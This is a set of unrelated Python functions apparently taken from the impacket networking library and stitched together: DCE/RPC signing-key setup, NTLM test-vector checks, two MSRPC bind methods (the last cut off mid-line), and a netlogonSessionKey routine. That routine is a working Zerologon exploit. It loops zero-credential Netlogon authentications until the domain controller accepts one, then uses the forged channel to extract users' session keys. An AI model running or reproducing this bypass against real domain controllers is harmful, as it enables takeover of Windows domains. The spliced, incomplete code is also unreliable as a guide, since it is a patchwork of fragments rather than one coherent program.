def __init__(self, flags, randomSessionKey): self.__flags = flags if self.__flags & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY: self.__clientSigningKey = ntlm.SIGNKEY(self.__flags, randomSessionKey) self.__serverSigningKey = ntlm.SIGNKEY(self.__flags, randomSessionKey, "Server") self.__clientSealingKey = ntlm.SEALKEY(self.__flags, randomSessionKey) self.__serverSealingKey = ntlm.SEALKEY(self.__flags, randomSessionKey, "Server") # Preparing the keys handle states cipher3 = ARC4.new(self.__clientSealingKey) self.__clientSealingHandle = cipher3.encrypt cipher4 = ARC4.new(self.__serverSealingKey) self.__serverSealingHandle = cipher4.encrypt else: # Same key for everything self.__clientSigningKey = randomSessionKey self.__serverSigningKey = randomSessionKey self.__clientSealingKey = randomSessionKey self.__clientSealingKey = randomSessionKey cipher = ARC4.new(self.__clientSigningKey) self.__clientSealingHandle = cipher.encrypt self.__serverSealingHandle = cipher.encrypt self.__sequence = 0
def netlogonSessionKey(self, challenge, authenticateMessageBlob): # Here we will use netlogon to get the signing session key LOG.info("Connecting to %s NETLOGON service" % self.target.netloc) respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) authenticateMessage = NTLMAuthChallengeResponse() authenticateMessage.fromString(respToken2['ResponseToken']) domainName = authenticateMessage['domain_name'].decode('utf-16le') flags = authenticateMessage['flags'] try: av_pairs = authenticateMessage['ntlm'][44:] av_pairs = AV_PAIRS(av_pairs) serverName = av_pairs[NTLMSSP_AV_HOSTNAME][1].decode('utf-16le') except: LOG.debug("Exception:", exc_info=True) # We're in NTLMv1, not supported return STATUS_ACCESS_DENIED binding = epm.hept_map(self.target.netloc, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp') dce = transport.DCERPCTransportFactory(binding).get_dce_rpc() dce.connect() dce.bind(nrpc.MSRPC_UUID_NRPC) MAX_ATTEMPTS = 6000 for attempt in range(0, MAX_ATTEMPTS): resp = nrpc.hNetrServerReqChallenge(dce, NULL, serverName + '\x00', b'\x00' * 8) serverChallenge = resp['ServerChallenge'] ppp = b'\x00' * 8 try: nrpc.hNetrServerAuthenticate3( dce, NULL, serverName + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, serverName + '\x00', ppp, 0x212effef) except nrpc.DCERPCSessionError as ex: # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working. if ex.get_error_code() == 0xc0000022: continue else: LOG.error('Unexpected error code from DC: %d.', ex.get_error_code()) except BaseException as ex: LOG.error('Unexpected error: %s', str(ex)) LOG.info( 'Netlogon Auth OK, successfully bypassed autentication using Zerologon after %d attempts!', attempt) break else: LOG.error( 'No success bypassing auth after 6000 attempts. Target likely patched!' ) return clientStoredCredential = pack('<Q', unpack('<Q', ppp)[0] + 10) # Now let's try to verify the security blob against the PDC lflags = unpack('<L', b'\xe0\x2a\x00\x00')[0] request = nrpc.NetrLogonSamLogonWithFlags() request['LogonServer'] = '\x00' request['ComputerName'] = serverName + '\x00' request[ 'ValidationLevel'] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4 request[ 'LogonLevel'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation request['LogonInformation'][ 'tag'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation request['LogonInformation']['LogonNetworkTransitive']['Identity'][ 'LogonDomainName'] = domainName request['LogonInformation']['LogonNetworkTransitive']['Identity'][ 'ParameterControl'] = lflags request['LogonInformation']['LogonNetworkTransitive']['Identity'][ 'UserName'] = authenticateMessage['user_name'].decode('utf-16le') request['LogonInformation']['LogonNetworkTransitive']['Identity'][ 'Workstation'] = '' request['LogonInformation']['LogonNetworkTransitive'][ 'LmChallenge'] = challenge request['LogonInformation']['LogonNetworkTransitive'][ 'NtChallengeResponse'] = authenticateMessage['ntlm'] request['LogonInformation']['LogonNetworkTransitive'][ 'LmChallengeResponse'] = authenticateMessage['lanman'] authenticator = nrpc.NETLOGON_AUTHENTICATOR() authenticator[ 'Credential'] = b'\x00' * 8 #nrpc.ComputeNetlogonCredential(clientStoredCredential, sessionKey) authenticator['Timestamp'] = 0 request['Authenticator'] = authenticator request['ReturnAuthenticator']['Credential'] = b'\x00' * 8 request['ReturnAuthenticator']['Timestamp'] = 0 request['ExtraFlags'] = 0 #request.dump() try: resp = dce.request(request) #resp.dump() except DCERPCException as e: LOG.debug('Exception:', exc_info=True) LOG.error(str(e)) return e.get_error_code() LOG.info( "%s\\%s successfully validated through NETLOGON" % (domainName, authenticateMessage['user_name'].decode('utf-16le'))) encryptedSessionKey = authenticateMessage['session_key'] if encryptedSessionKey != '': signingKey = generateEncryptedSessionKey( resp['ValidationInformation']['ValidationSam4'] ['UserSessionKey'], encryptedSessionKey) else: signingKey = resp['ValidationInformation']['ValidationSam4'][ 'UserSessionKey'] LOG.info("NTLM Sign/seal key: %s " % hexlify(signingKey).decode('utf-8')) if flags & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY: self.session._DCERPC_v5__clientSigningKey = ntlm.SIGNKEY( flags, signingKey) self.session._DCERPC_v5__serverSigningKey = ntlm.SIGNKEY( flags, signingKey, b"Server") self.session._DCERPC_v5__clientSealingKey = ntlm.SEALKEY( flags, signingKey) self.session._DCERPC_v5__serverSealingKey = ntlm.SEALKEY( flags, signingKey, b"Server") # Preparing the keys handle states cipher3 = ARC4.new(self.session._DCERPC_v5__clientSealingKey) self.session._DCERPC_v5__clientSealingHandle = cipher3.encrypt cipher4 = ARC4.new(self.session._DCERPC_v5__serverSealingKey) self.session._DCERPC_v5__serverSealingHandle = cipher4.encrypt else: # Same key for everything self.session._DCERPC_v5__clientSigningKey = signingKey self.session._DCERPC_v5__serverSigningKey = signingKey self.session._DCERPC_v5__clientSealingKey = signingKey self.session._DCERPC_v5__serverSealingKey = signingKey cipher = ARC4.new(self.session._DCERPC_v5__clientSigningKey) self.session._DCERPC_v5__clientSealingHandle = cipher.encrypt self.session._DCERPC_v5__serverSealingHandle = cipher.encrypt self.session._DCERPC_v5__sequence = 0 self.session._DCERPC_v5__flags = flags return signingKey
def test_ntlmv1(self): print("####### 4.2.2 NTLMv1 Authentication") ntlm.USE_NTLMv2 = False print("4.2.2.1 LMOWFv1()") res = ntlm.LMOWFv1(self.password) hexdump(res) self.assertTrue( res == bytearray(b'\xe5,\xacgA\x9a\x9a"J;\x10\x8f?\xa6\xcbm')) print("\n") print("4.2.2.1.2 NTOWFv1()") res = ntlm.NTOWFv1(self.password) hexdump(res) self.assertTrue(res == bytearray( b'\xa4\xf4\x9c\x40\x65\x10\xbd\xca\xb6\x82\x4e\xe7\xc3\x0f\xd8\x52' )) print("\n") print("4.2.2.1.3 Session Base Key and Key Exchange Key") ntResponse, lmResponse, sessionBaseKey = ntlm.computeResponseNTLMv1( int(self.flags), self.serverChallenge, self.clientChallenge, self.serverName, self.domain, self.user, self.password, '', '') hexdump(sessionBaseKey) self.assertTrue(sessionBaseKey == bytearray( b'\xD8\x72\x62\xB0\xCD\xE4\xB1\xCB\x74\x99\xBE\xCC\xCD\xF1\x07\x84' )) print("\n") print("4.2.2.2.1 NTLMv1 Response") hexdump(ntResponse) self.assertTrue(ntResponse == bytearray( b'\x67\xC4\x30\x11\xF3\x02\x98\xA2\xAD\x35\xEC\xE6\x4F\x16\x33\x1C\x44\xBD\xBE\xD9\x27\x84\x1F\x94' )) print("\n") print("4.2.2.2.2 LMv1 Response") hexdump(lmResponse) self.assertTrue(lmResponse == bytearray( b'\x98\xDE\xF7\xB8\x7F\x88\xAA\x5D\xAF\xE2\xDF\x77\x96\x88\xA1\x72\xde\xf1\x1c\x7d\x5c\xcd\xef\x13' )) print("\n") print("4.2.2.2.2 LMv1 Response with NTLMSSP_NEGOTIATE_LM_KEY set") flags2 = self.flags #flags2 = flags | ntlm.NTLMSSP_LM_KEY #hexdump(struct.pack('<L',flags2)) ntResponse, lmResponse, sessionBaseKey = ntlm.computeResponseNTLMv1( int(flags2), self.serverChallenge, self.clientChallenge, self.serverName, self.domain, self.user, self.password, '', '') hexdump(lmResponse) print("\n") print("4.2.2.2.3 Encrypted Session Key ") ntResponse, lmResponse, sessionBaseKey = ntlm.computeResponseNTLMv1( int(self.flags), self.serverChallenge, self.clientChallenge, self.serverName, self.domain, self.user, self.password, '', '') keyExchangeKey = ntlm.KXKEY(self.flags, sessionBaseKey, lmResponse, self.serverChallenge, self.password, '', '') encryptedSessionKey = ntlm.generateEncryptedSessionKey( keyExchangeKey, self.randomSessionKey) hexdump(encryptedSessionKey) self.assertTrue(encryptedSessionKey == bytearray( b'\x51\x88\x22\xB1\xB3\xF3\x50\xC8\x95\x86\x82\xEC\xBB\x3E\x3C\xB7' )) print("\n") print("4.2.2.2.3 Encrypted Session Key (NTLMSSP_NON_NT_KEY)") flags2 = self.flags | ntlm.NTLMSSP_REQUEST_NON_NT_SESSION_KEY keyExchangeKey = ntlm.KXKEY(flags2, sessionBaseKey, lmResponse, self.serverChallenge, self.password, '', '') encryptedSessionKey = ntlm.generateEncryptedSessionKey( keyExchangeKey, self.randomSessionKey) hexdump(encryptedSessionKey) #ToDo Fix this #self.assertTrue(encryptedSessionKey==bytearray(b'\x74\x52\xca\x55\xc2\x25\xa1\xca\x04\xb4\x8f\xae\x32\xcf\x56\xfc')) print("\n") print("4.2.2.2.3 Encrypted Session Key (NTLMSSP_LM_KEY)") flags2 = self.flags | ntlm.NTLMSSP_NEGOTIATE_LM_KEY #hexdump(struct.pack('<L',flags2)) keyExchangeKey = ntlm.KXKEY(flags2, sessionBaseKey, lmResponse, self.serverChallenge, self.password, '', '') encryptedSessionKey = ntlm.generateEncryptedSessionKey( keyExchangeKey, self.randomSessionKey) hexdump(encryptedSessionKey) #ToDo Fix this #self.assertTrue(encryptedSessionKey==bytearray(b'\x4c\xd7\xbb\x57\xd6\x97\xef\x9b\x54\x9f\x02\xb8\xf9\xb3\x78\x64') print("\n") print("4.2.2.3 AUTHENTICATE MESSAGE") ntResponse, lmResponse, sessionBaseKey = ntlm.computeResponseNTLMv1( int(self.flags), self.serverChallenge, self.clientChallenge, self.serverName, self.domain, self.user, self.password, '', '') keyExchangeKey = ntlm.KXKEY(self.flags, sessionBaseKey, lmResponse, self.serverChallenge, self.password, '', '') encryptedSessionKey = ntlm.generateEncryptedSessionKey( keyExchangeKey, self.randomSessionKey) ntlmChallengeResponse = ntlm.NTLMAuthChallengeResponse( self.user, self.password, self.serverChallenge) ntlmChallengeResponse['flags'] = flags2 ntlmChallengeResponse['host_name'] = self.workstationName.encode( 'utf-16le') ntlmChallengeResponse['domain_name'] = self.domain.encode('utf-16le') ntlmChallengeResponse['lanman'] = lmResponse ntlmChallengeResponse['ntlm'] = ntResponse ntlmChallengeResponse['session_key'] = encryptedSessionKey hexdump(ntlmChallengeResponse.getData()) self.assertTrue(ntlmChallengeResponse.getData() == bytearray( b'NTLMSSP\x00\x03\x00\x00\x00\x18\x00\x18\x00|\x00\x00\x00\x18\x00\x18\x00\x94\x00\x00\x00\x0c\x00\x0c\x00X\x00\x00\x00\x08\x00\x08\x00d\x00\x00\x00\x10\x00\x10\x00l\x00\x00\x00\x10\x00\x10\x00\xac\x00\x00\x00\xb3\x82\x02\xe2D\x00o\x00m\x00a\x00i\x00n\x00U\x00s\x00e\x00r\x00C\x00O\x00M\x00P\x00U\x00T\x00E\x00R\x00\x98\xde\xf7\xb8\x7f\x88\xaa]\xaf\xe2\xdfw\x96\x88\xa1r\xde\xf1\x1c}\\\xcd\xef\x13g\xc40\x11\xf3\x02\x98\xa2\xad5\xec\xe6O\x163\x1cD\xbd\xbe\xd9\'\x84\x1f\x94Q\x88"\xb1\xb3\xf3P\xc8\x95\x86\x82\xec\xbb><\xb7' )) print("\n") print("4.2.2.4 GSS_WrapEx") print("Output of SEAL()") from Cryptodome.Cipher import ARC4 cipher = ARC4.new(self.randomSessionKey) handle = cipher.encrypt print("Plaintext") hexdump(self.plaintext) print("\n") sealedMsg, signature = ntlm.SEAL(self.flags, self.nonce, self.nonce, self.plaintext, self.plaintext, self.seqNum, handle) #signature = ntlm.SIGN(flags, nonce, plaintext, seqNum, handle) hexdump(sealedMsg) self.assertTrue(sealedMsg == bytearray( b'V\xfe\x04\xd8a\xf91\x9a\xf0\xd7#\x8a.;ME\x7f\xb8')) print("\n") hexdump(signature.getData()) self.assertTrue(signature.getData() == bytearray( b'\x01\x00\x00\x00\x00\x00\x00\x00\t\xdc\xd1\xdf.E\x9d6')) print("\n") print("####### 4.2.3 NTLMv1 with Client Challenge") flags = ntlm.NTLMSSP_NEGOTIATE_56 | ntlm.NTLMSSP_NEGOTIATE_VERSION | ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY \ | ntlm.NTLMSSP_TARGET_TYPE_SERVER | ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN | ntlm.NTLMSSP_NEGOTIATE_NTLM |\ ntlm.NTLMSSP_NEGOTIATE_SEAL | ntlm.NTLMSSP_NEGOTIATE_SIGN | ntlm.NTLM_NEGOTIATE_OEM | ntlm.NTLMSSP_NEGOTIATE_UNICODE print("Flags") hexdump(struct.pack('<L', flags)) print("\n") print("4.2.3.1.1 NTOWFv1(password)") hexdump(ntlm.NTOWFv1(self.password)) print("\n") print("4.2.3.1.2 Session Base Key") ntResponse, lmResponse, sessionBaseKey = ntlm.computeResponseNTLMv1( int(flags), self.serverChallenge, self.clientChallenge, self.serverName, self.domain, self.user, self.password, '', '') hexdump(sessionBaseKey) self.assertTrue(sessionBaseKey == bytearray( b'\xd8rb\xb0\xcd\xe4\xb1\xcbt\x99\xbe\xcc\xcd\xf1\x07\x84')) print("\n") print("4.2.3.1.3 Key Exchange Key") keyExchangeKey = ntlm.KXKEY(flags, sessionBaseKey, lmResponse, self.serverChallenge, self.password, '', '') hexdump(keyExchangeKey) # ToDo: Fix this #self.assertTrue(keyExchangeKey==bytearray(b'\xeb\x93\x42\x9a\x8b\xd9\x52\xf8\xb8\x9c\x55\xb8\x7f\x47\x5e\xdc')) print("\n") print("4.2.3.2.1 LMv1 Response") hexdump(lmResponse) #self.assertTrue(lmResponse==bytearray(b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')) print("\n") print("4.2.3.2.2 NTLMv1 Response") hexdump(ntResponse) # ToDo: Fix this #self.assertTrue(ntResponse==bytearray(b'\x75\x37\xf8\x03\xae\x36\x71\x28\xca\x45\x82\x04\xbd\xe7\xca\xf8\x1e\x97\xed\x26\x83\x26\x72\x32')) print("\n") print("AUTHENTICATE MESSAGE") ntlm.generateEncryptedSessionKey(keyExchangeKey, self.randomSessionKey) ntlmChallengeResponse = ntlm.NTLMAuthChallengeResponse( self.user, self.password, self.serverChallenge) ntlmChallengeResponse['flags'] = flags2 ntlmChallengeResponse['host_name'] = self.workstationName.encode( 'utf-16le') ntlmChallengeResponse['domain_name'] = self.domain.encode('utf-16le') ntlmChallengeResponse['lanman'] = lmResponse ntlmChallengeResponse['ntlm'] = ntResponse hexdump(ntlmChallengeResponse.getData()) self.assertTrue(ntlmChallengeResponse.getData() == bytearray( b'NTLMSSP\x00\x03\x00\x00\x00\x18\x00\x18\x00|\x00\x00\x00\x18\x00\x18\x00\x94\x00\x00\x00\x0c\x00\x0c\x00X\x00\x00\x00\x08\x00\x08\x00d\x00\x00\x00\x10\x00\x10\x00l\x00\x00\x00\x00\x00\x00\x00\xac\x00\x00\x00\xb3\x82\x02\xe2D\x00o\x00m\x00a\x00i\x00n\x00U\x00s\x00e\x00r\x00C\x00O\x00M\x00P\x00U\x00T\x00E\x00R\x00\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00u7\xf8\x03\xae6q(\xcaE\x82\x04\xbd\xe7\xca\xf8\x1e\x97\xed&\x83&r2' )) print("\n") print("4.2.3.4 GSS_WrapEx") print("Plaintext") hexdump(self.plaintext) print("\n") print("Output of SEAL()") exportedSessionKey = keyExchangeKey clientSigningKey = ntlm.SIGNKEY(flags, exportedSessionKey) clientSealingKey = ntlm.SEALKEY(flags, exportedSessionKey) from Cryptodome.Cipher import ARC4 cipher = ARC4.new(clientSigningKey) cipher2 = ARC4.new(clientSealingKey) client_sealing_h = cipher2.encrypt print("SEALKEY()") hexdump(clientSealingKey) print("\n") print("SIGNKEY()") hexdump(clientSigningKey) print("\n") print("Sealed Data") sealedMsg, signature = ntlm.SEAL(flags, clientSealingKey, clientSigningKey, self.plaintext, self.plaintext, self.seqNum, client_sealing_h) #signature = ntlm.SIGN(flags, clientSigningKey, plaintext, seqNum, client_sealing_h) hexdump(sealedMsg) # ToDo: Fix this #self.assertTrue(ntResponse==bytearray(b'\xa0\x23\x72\xf6\x53\x02\x73\xf3\xaa\x1e\xb9\x01\x90\xce\x52\x00\xc9\x9d')) print("\n") print("Signature") hexdump(signature.getData()) # ToDo: Fix this #self.assertTrue(ntResponse==bytearray(b'\x01\x00\x00\x00\xff\x2a\xeb\x52\xf6\x81\x79\x3a\x00\x00\x00\x00') print("\n")
def test_ntlmv2(self): print("####### 4.2.4 NTLMv2 Authentication") ntlm.USE_NTLMv2 = True serverName = b( '\x02\x00\x0c\x00\x44\x00\x6f\x00\x6d\x00\x61\x00\x69\x00\x6e\x00\x01\x00\x0c\x00\x53\x00\x65\x00\x72\x00\x76\x00\x65\x00\x72\x00\x00\x00\x00\x00' ) # Still the aTime won't be set to zero. that must be changed in ntlm.computeResponseNTLM2. Gotta make this more automated flags = ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH | ntlm.NTLMSSP_NEGOTIATE_56 | ntlm.NTLMSSP_NEGOTIATE_128 | \ ntlm.NTLMSSP_NEGOTIATE_VERSION | ntlm.NTLMSSP_NEGOTIATE_TARGET_INFO | \ ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY | ntlm.NTLMSSP_TARGET_TYPE_SERVER | \ ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN | ntlm.NTLMSSP_NEGOTIATE_NTLM | ntlm.NTLMSSP_NEGOTIATE_SEAL | \ ntlm.NTLMSSP_NEGOTIATE_SIGN | ntlm.NTLM_NEGOTIATE_OEM | ntlm.NTLMSSP_NEGOTIATE_UNICODE print("Flags") hexdump(struct.pack('<L', flags)) print("\n") print("4.2.4.1.1 NTOWFv2 and LMOWFv2") res = ntlm.NTOWFv2(self.user, self.password, self.domain) hexdump(res) self.assertTrue(res == bytearray( b'\x0c\x86\x8a@;\xfdz\x93\xa3\x00\x1e\xf2.\xf0.?')) print("\n") print("\n") print("4.2.4.1.2 Session Base Key") ntResponse, lmResponse, sessionBaseKey = ntlm.computeResponseNTLMv2( flags, self.serverChallenge, self.clientChallenge, serverName, self.domain, self.user, self.password, '', '') hexdump(sessionBaseKey) self.assertTrue(sessionBaseKey == bytearray( b'\x8d\xe4\x0c\xca\xdb\xc1\x4a\x82\xf1\x5c\xb0\xad\x0d\xe9\x5c\xa3' )) print("\n") print("4.2.4.2.1 LMv2 Response") hexdump(lmResponse) self.assertTrue(lmResponse == bytearray( b'\x86\xc3P\x97\xac\x9c\xec\x10%TvJW\xcc\xcc\x19\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa' )) print("\n") print("4.2.4.2.2 NTLMv2 Response") hexdump(ntResponse[:16]) self.assertTrue(ntResponse[:16] == bytearray( b'\x68\xcd\x0a\xb8\x51\xe5\x1c\x96\xaa\xbc\x92\x7b\xeb\xef\x6a\x1c' )) print("\n") print("4.2.4.2.3 Encrypted Session Key") keyExchangeKey = ntlm.KXKEY(flags, sessionBaseKey, lmResponse, self.serverChallenge, self.password, '', '') encryptedSessionKey = ntlm.generateEncryptedSessionKey( keyExchangeKey, self.randomSessionKey) hexdump(encryptedSessionKey) self.assertTrue(encryptedSessionKey == bytearray( b'\xC5\xDA\xD2\x54\x4F\xC9\x79\x90\x94\xCE\x1C\xE9\x0B\xC9\xD0\x3E' )) print("\n") print("AUTHENTICATE MESSAGE") encryptedSessionKey = ntlm.generateEncryptedSessionKey( keyExchangeKey, self.randomSessionKey) ntlmChallengeResponse = ntlm.NTLMAuthChallengeResponse( self.user, self.password, self.serverChallenge) ntlmChallengeResponse['flags'] = flags ntlmChallengeResponse['host_name'] = self.workstationName.encode( 'utf-16le') ntlmChallengeResponse['domain_name'] = self.domain.encode('utf-16le') ntlmChallengeResponse['lanman'] = lmResponse ntlmChallengeResponse['ntlm'] = ntResponse ntlmChallengeResponse['session_key'] = encryptedSessionKey hexdump(ntlmChallengeResponse.getData()) self.assertTrue(ntlmChallengeResponse.getData() == bytearray( b'NTLMSSP\x00\x03\x00\x00\x00\x18\x00\x18\x00|\x00\x00\x00T\x00T\x00\x94\x00\x00\x00\x0c\x00\x0c\x00X\x00\x00\x00\x08\x00\x08\x00d\x00\x00\x00\x10\x00\x10\x00l\x00\x00\x00\x10\x00\x10\x00\xe8\x00\x00\x003\x82\x8a\xe2D\x00o\x00m\x00a\x00i\x00n\x00U\x00s\x00e\x00r\x00C\x00O\x00M\x00P\x00U\x00T\x00E\x00R\x00\x86\xc3P\x97\xac\x9c\xec\x10%TvJW\xcc\xcc\x19\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaah\xcd\n\xb8Q\xe5\x1c\x96\xaa\xbc\x92{\xeb\xefj\x1c\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x00\x02\x00\x0c\x00D\x00o\x00m\x00a\x00i\x00n\x00\x01\x00\x0c\x00S\x00e\x00r\x00v\x00e\x00r\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc5\xda\xd2TO\xc9y\x90\x94\xce\x1c\xe9\x0b\xc9\xd0>' )) print("\n") print("4.2.4.4 GSS_WrapEx") print("Plaintext") hexdump(self.plaintext) print("\n") print("Output of SEAL()") exportedSessionKey = self.randomSessionKey clientSigningKey = ntlm.SIGNKEY(flags, exportedSessionKey) clientSealingKey = ntlm.SEALKEY(flags, exportedSessionKey) from Cryptodome.Cipher import ARC4 cipher2 = ARC4.new(clientSealingKey) client_sealing_h = cipher2.encrypt print("SEALKEY()") hexdump(clientSealingKey) self.assertTrue(clientSealingKey == bytearray( b'Y\xf6\x00\x97<\xc4\x96\n%H\n|\x19nLX')) print("\n") print("SIGNKEY()") hexdump(clientSigningKey) self.assertTrue(clientSigningKey == bytearray( b'G\x88\xdc\x86\x1bG\x82\xf3]C\xfd\x98\xfe\x1a-9')) print("\n") print("Sealed Data") sealedMsg, signature = ntlm.SEAL(flags, clientSealingKey, clientSigningKey, self.plaintext, self.plaintext, self.seqNum, client_sealing_h) #signature = ntlm.SIGN(flags, clientSigningKey, plaintext, seqNum, client_sealing_h) hexdump(sealedMsg) self.assertTrue(sealedMsg == bytearray( b'T\xe5\x01e\xbf\x196\xdc\x99` \xc1\x81\x1b\x0f\x06\xfb_')) print("\n") print("Signature") hexdump(signature.getData()) self.assertTrue(signature.getData() == bytearray( b'\x01\x00\x00\x00\x00\xc1a\xa1\x1e@\x03\x9f\x00\x00\x00\x00')) #print (repr(bytearray(str(signature)))) #raise print("\n")
def bind(self, uuid, alter=0, bogus_binds=0): bind = MSRPCBind() # Standard NDR Representation NDRSyntax = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0') # NDR 64 NDR64Syntax = ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0') #item['TransferSyntax']['Version'] = 1 ctx = self._ctx for i in range(bogus_binds): item = CtxItem() item['ContextID'] = ctx item['TransItems'] = 1 item['ContextID'] = ctx # We generate random UUIDs for bogus binds item['AbstractSyntax'] = generate() + stringver_to_bin('2.0') item['TransferSyntax'] = uuidtup_to_bin(NDRSyntax) bind.addCtxItem(item) self._ctx += 1 ctx += 1 # The true one :) item = CtxItem() item['AbstractSyntax'] = uuid item['TransferSyntax'] = uuidtup_to_bin(NDRSyntax) item['ContextID'] = ctx item['TransItems'] = 1 bind.addCtxItem(item) packet = MSRPCHeader() packet['type'] = MSRPC_BIND if alter: packet['type'] = MSRPC_ALTERCTX if (self.__auth_level != ntlm.NTLM_AUTH_NONE): if (self.__username is None) or (self.__password is None): self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash = self._transport.get_credentials( ) auth = ntlm.getNTLMSSPType1('', self.__domain, True, isDCE=True) auth['auth_level'] = self.__auth_level auth['auth_ctx_id'] = self._ctx + 79231 pad = (8 - (len(packet.get_packet()) % 8)) % 8 if pad != 0: packet['pduData'] = packet['pduData'] + '\xFF' * pad auth['auth_pad_len'] = pad packet['auth_data'] = str(auth) packet['pduData'] = str(bind) packet['call_id'] = self.__callid self._transport.send(packet.get_packet()) s = self._transport.recv() if s != 0: resp = MSRPCHeader(s) else: return 0 #mmm why not None? if resp['type'] == MSRPC_BINDACK or resp['type'] == MSRPC_ALTERCTX_R: bindResp = MSRPCBindAck(str(resp)) elif resp['type'] == MSRPC_BINDNAK: resp = MSRPCBindNak(resp['pduData']) status_code = resp['RejectedReason'] if rpc_status_codes.has_key(status_code): raise Exception(rpc_status_codes[status_code], resp) else: raise Exception( 'Unknown DCE RPC fault status code: %.8x' % status_code, resp) else: raise Exception('Unknown DCE RPC packet type received: %d' % resp['type']) # check ack results for each context, except for the bogus ones for ctx in range(bogus_binds + 1, bindResp['ctx_num'] + 1): result = bindResp.getCtxItem(ctx)['Result'] if result != 0: msg = "Bind context %d rejected: " % ctx msg += rpc_cont_def_result.get( result, 'Unknown DCE RPC context result code: %.4x' % result) msg += "; " reason = bindResp.getCtxItem(ctx)['Reason'] msg += rpc_provider_reason.get( reason, 'Unknown reason code: %.4x' % reason) if (result, reason) == ( 2, 1 ): # provider_rejection, abstract syntax not supported msg += " (this usually means the interface isn't listening on the given endpoint)" raise Exception(msg, resp) self.__max_xmit_size = bindResp['max_tfrag'] if self.__auth_level != ntlm.NTLM_AUTH_NONE: response, randomSessionKey = ntlm.getNTLMSSPType3( auth, bindResp['auth_data'], self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, True) response['auth_ctx_id'] = self._ctx + 79231 response['auth_level'] = self.__auth_level self.__flags = response['flags'] if self.__auth_level in (ntlm.NTLM_AUTH_CONNECT, ntlm.NTLM_AUTH_PKT_INTEGRITY, ntlm.NTLM_AUTH_PKT_PRIVACY): if self.__flags & ntlm.NTLMSSP_NTLM2_KEY: self.__clientSigningKey = ntlm.SIGNKEY( self.__flags, randomSessionKey) self.__serverSigningKey = ntlm.SIGNKEY( self.__flags, randomSessionKey, "Server") self.__clientSealingKey = ntlm.SEALKEY( self.__flags, randomSessionKey) self.__serverSealingKey = ntlm.SEALKEY( self.__flags, randomSessionKey, "Server") # Preparing the keys handle states cipher3 = ARC4.new(self.__clientSealingKey) self.__clientSealingHandle = cipher3.encrypt cipher4 = ARC4.new(self.__serverSealingKey) self.__serverSealingHandle = cipher4.encrypt else: # Same key for everything self.__clientSigningKey = randomSessionKey self.__serverSigningKey = randomSessionKey self.__clientSealingKey = randomSessionKey self.__serverSealingKey = randomSessionKey cipher = ARC4.new(self.__clientSigningKey) self.__clientSealingHandle = cipher.encrypt self.__serverSealingHandle = cipher.encrypt self.__sequence = 0 auth3 = MSRPCHeader() auth3['type'] = MSRPC_AUTH3 auth3['auth_data'] = str(response) # Use the same call_id self.__callid = resp['call_id'] auth3['call_id'] = self.__callid self._transport.send(auth3.get_packet(), forceWriteAndx=1) self.__callid += 1 return resp # means packet is signed, if verifier is wrong it fails
def bind(self, uuid, alter = 0, bogus_binds = 0): bind = MSRPCBind() # Standard NDR Representation NDRSyntax = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0') # NDR 64 NDR64Syntax = ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0') #item['TransferSyntax']['Version'] = 1 ctx = self._ctx for i in range(bogus_binds): item = CtxItem() item['ContextID'] = ctx item['TransItems'] = 1 item['ContextID'] = ctx # We generate random UUIDs for bogus binds item['AbstractSyntax'] = generate() + stringver_to_bin('2.0') item['TransferSyntax'] = uuidtup_to_bin(NDRSyntax) bind.addCtxItem(item) self._ctx += 1 ctx += 1 # The true one :) item = CtxItem() item['AbstractSyntax'] = uuid item['TransferSyntax'] = uuidtup_to_bin(NDRSyntax) item['ContextID'] = ctx item['TransItems'] = 1 bind.addCtxItem(item) packet = MSRPCHeader() packet['type'] = MSRPC_BIND packet['pduData'] = str(bind) packet['call_id'] = self.__callid if alter: packet['type'] = MSRPC_ALTERCTX if (self.__auth_level != RPC_C_AUTHN_LEVEL_NONE): if (self.__username is None) or (self.__password is None): self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash = self._transport.get_credentials() if self.__auth_type == RPC_C_AUTHN_WINNT: auth = ntlm.getNTLMSSPType1('', self.__domain, signingRequired = True, use_ntlmv2 = self._transport.doesSupportNTLMv2()) elif self.__auth_type == RPC_C_AUTHN_NETLOGON: from impacket.dcerpc import netlogon auth = netlogon.getSSPType1(self.__username[:-1], self.__domain, signingRequired = True) sec_trailer = SEC_TRAILER() sec_trailer['auth_type'] = self.__auth_type sec_trailer['auth_level'] = self.__auth_level sec_trailer['auth_ctx_id'] = self._ctx + 79231 pad = (4 - (len(packet.get_packet()) % 4)) % 4 if pad != 0: packet['pduData'] = packet['pduData'] + '\xFF'*pad sec_trailer['auth_pad_len']=pad packet['sec_trailer'] = sec_trailer packet['auth_data'] = str(auth) self._transport.send(packet.get_packet()) s = 